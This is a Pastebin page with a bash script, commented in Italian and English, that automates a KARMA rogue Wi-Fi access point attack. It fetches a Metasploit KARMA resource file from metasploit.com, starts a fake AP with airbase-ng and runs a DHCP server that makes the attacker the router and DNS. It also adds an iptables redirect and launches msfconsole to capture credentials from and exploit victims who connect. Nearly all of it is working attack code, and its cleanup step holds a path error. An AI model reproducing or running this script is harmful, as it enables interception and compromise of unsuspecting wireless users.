Guest User

Untitled

a guest
Jul 31st, 2012
145
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/bin/bash
  2.  
  3. ## KARMAPLAY! ##
  4. fun_help () {
  5.     echo "[-] questo script prepara l'ambiente KARMA" #this script make working karma ambient
  6.     echo "[-] controlla i file di configurazione"   #check config file
  7.     echo "[-] e leggi gli esempi presenti!"   # and read the example
  8.     echo "[+] Dipendenze:"
  9.     echo "[+] karma.rc + server DHCP + Aircrack-ng "
  10.     echo "[.] good hack"
  11.     }
  12.  
  13.  
  14. ## PERCORSI E DEFINIZIONI ##
  15. ## PATH AND DEF ##
  16. #info: solitamente uso questo percorso, è il mio ambiente di lavoro, modificalo o adattalo al tuo
  17. #info: i'm used to work with this path, change it or make your own working path
  18. dh_conf="/etc/dhcp/dhcpdevi.conf" ;
  19. ka_rc="$HOME/Modelli/EVIL/KARMA/evilmet.rc" ;
  20. i_man="wlan0" ;
  21. i_mon="mon0" ;
  22. essid="TEST" ;
  23. net="10.0.0.0" ;
  24. net_mask="255.255.255.0" ;
  25. ip_ap="10.0.0.1" ;
  26.  
  27. ## PREPARO L'AMBIENTE DI LAVORO E SCARICO KARMA ##
  28. ## MAKE WORKING PATH AND DOWNLOAD KARMA ##
  29. fun_karma () {
  30.     if [ -e $ka_rc ]
  31.         then
  32.             echo "[ok] karma.rc presente"
  33.         else
  34.             mkdir -p $HOME/Modelli/EVIL/KARMA
  35.             cd $HOME/Modelli/EVIL/KARMA
  36.             wget "http://metasploit.com/users/hdm/tools/karma.rc"
  37.                 if [ $? -eq 0 ]
  38.                     then
  39.                         echo "[ok] karma.rc scaricato con successo"
  40.                     else
  41.                         echo "[fail] impossibile scaricare il file" && exit
  42.                 fi
  43.     fi
  44.    
  45.     }
  46.  
  47. ## PREPARO IL FILE DI CONFIGURAZIONE DEL DHCP ##
  48. ## MAKE DHCP CONFIG FILE ##
  49. fun_dhcp () {
  50.     if [ -e $dh_conf ]
  51.         then
  52.             echo
  53.             echo "[ok] dh_conf presente"
  54.         else
  55.             echo
  56.             echo "sto scrivendo il file di configurazione"
  57.             touch $dh_conf  
  58.             echo "option domain-name-servers $ip_ap ;" >> $dh_conf
  59.             echo "default-lease-time 60;" >> $dh_conf
  60.             echo "max-lease-time 7200;" >> $dh_conf
  61.             echo "ddns-update-style none;" >> $dh_conf
  62.             echo "authoritative;" >> $dh_conf
  63.             echo "log-facility local7;" >> $dh_conf
  64.             echo "subnet $net netmask $net_mask {" >> $dh_conf
  65.             echo "range 10.0.0.50 10.0.0.254;" >> $dh_conf
  66.             echo "option routers $ip_ap ;" >> $dh_conf
  67.             echo "option domain-name-servers $ip_ap ;" >> $dh_conf
  68.             echo "}" >> $dh_conf
  69.             sudo chmod 777 $dh_conf
  70.     fi
  71.     }
  72.  
  73. ## MONITOR MODE ##
  74. fun_mon () {
  75.     echo
  76.     echo "abilito il monitor mode:"
  77.     airmon-ng start $i_man
  78.    
  79.     if [ $? -eq 0 ]
  80.         then
  81.             echo
  82.             echo "[ok] fatto"
  83.         else
  84.             echo
  85.             echo "[fail] impossibile mettere $i_man in monitorok mode" && exit
  86.     fi
  87.     }
  88.  
  89. ## AP FASULLO ##
  90. ## FAKE AP ##
  91. fun_fakap () {
  92.     echo
  93.     echo "abilito il fake ap:"
  94.     ( xfce4-terminal -e "airbase-ng -P -C 30 -e $essid -v $i_mon" ) &
  95.    
  96.     if [ $? -eq 0 ]
  97.         then
  98.             echo
  99.             echo "[ok] fatto" #done
  100.         else
  101.             echo
  102.             echo "[fail] impossibile creare il fake ap" && exit  #error
  103.     fi
  104.     sleep 10
  105.     }
  106. ## PREPARO LA RETE ##
  107. ## SET THE NET ##
  108. fun_setnet () {
  109.     echo
  110.     echo "preparo la rete:"
  111.     iptables -t nat -A PREROUTING -i at0 -j REDIRECT
  112.    
  113.     ifconfig at0 up $ip_ap netmask $net_mask
  114.     if [ $? -eq 0 ]
  115.         then
  116.             echo
  117.             echo "[ok] fatto" #done
  118.         else
  119.             echo
  120.             echo "[fail] impossibile assegnare gli indirizzi" #error
  121.     fi
  122.     sleep 5
  123.     echo
  124.     echo "configuro il server dhcp:"
  125.     sudo dhcpd -cf $dh_conf at0
  126.    
  127.     if [ $? -eq 0 ]
  128.         then
  129.             echo
  130.             echo "[ok] fatto"
  131.         else
  132.             echo
  133.             echo "[fail] impossibile caricare il file di configurazione"  && exit
  134.     fi
  135.     }
  136.  
  137.  
  138. ## CARICO KARMA IN MSFCONSOLE ##
  139. ## LOAD KARMA IN MSFCONSOLE ##
  140. fun_msf () {
  141.     echo
  142.     echo "carico karma in msfconsole:"
  143.     ( xfce4-terminal -e "msfconsole -r $ka_rc" ) &
  144.    
  145.     if [ $? -eq 0 ]
  146.         then    
  147.             echo
  148.             echo "[ok] fatto"
  149.         else
  150.             echo
  151.             echo "[fail] impossibile caricare il file di configurazione karma" && exit
  152.     fi
  153.     }
  154. ## PULISCO TUTTO ##
  155. ## CLEAN ALL ##
  156. fun_clean () {
  157.     echo
  158.     echo -n "vuoi ripulire e fermare tutto?"
  159.     echo
  160.         read risp
  161.         case $risp in
  162.             y) echo "avvio pulizia!"
  163.             rm -f /etc/dhcp/$dh_conf
  164.             airmon-ng stop mon0
  165.             service isc-dhcp-server stop
  166.             #if have problem try killall -9 dhcpd
  167.             echo "pulizia terminata"
  168.             ;;
  169.             *) fun_clean
  170.             ;;
  171.         esac
  172.     exit 0
  173.     }  
  174.        
  175. fun_help
  176.  
  177. fun_karma
  178.  
  179. fun_dhcp
  180.  
  181. fun_mon
  182.  
  183. fun_fakap
  184.  
  185. fun_setnet
  186.  
  187. fun_msf
  188.  
  189. fun_clean
RAW Paste Data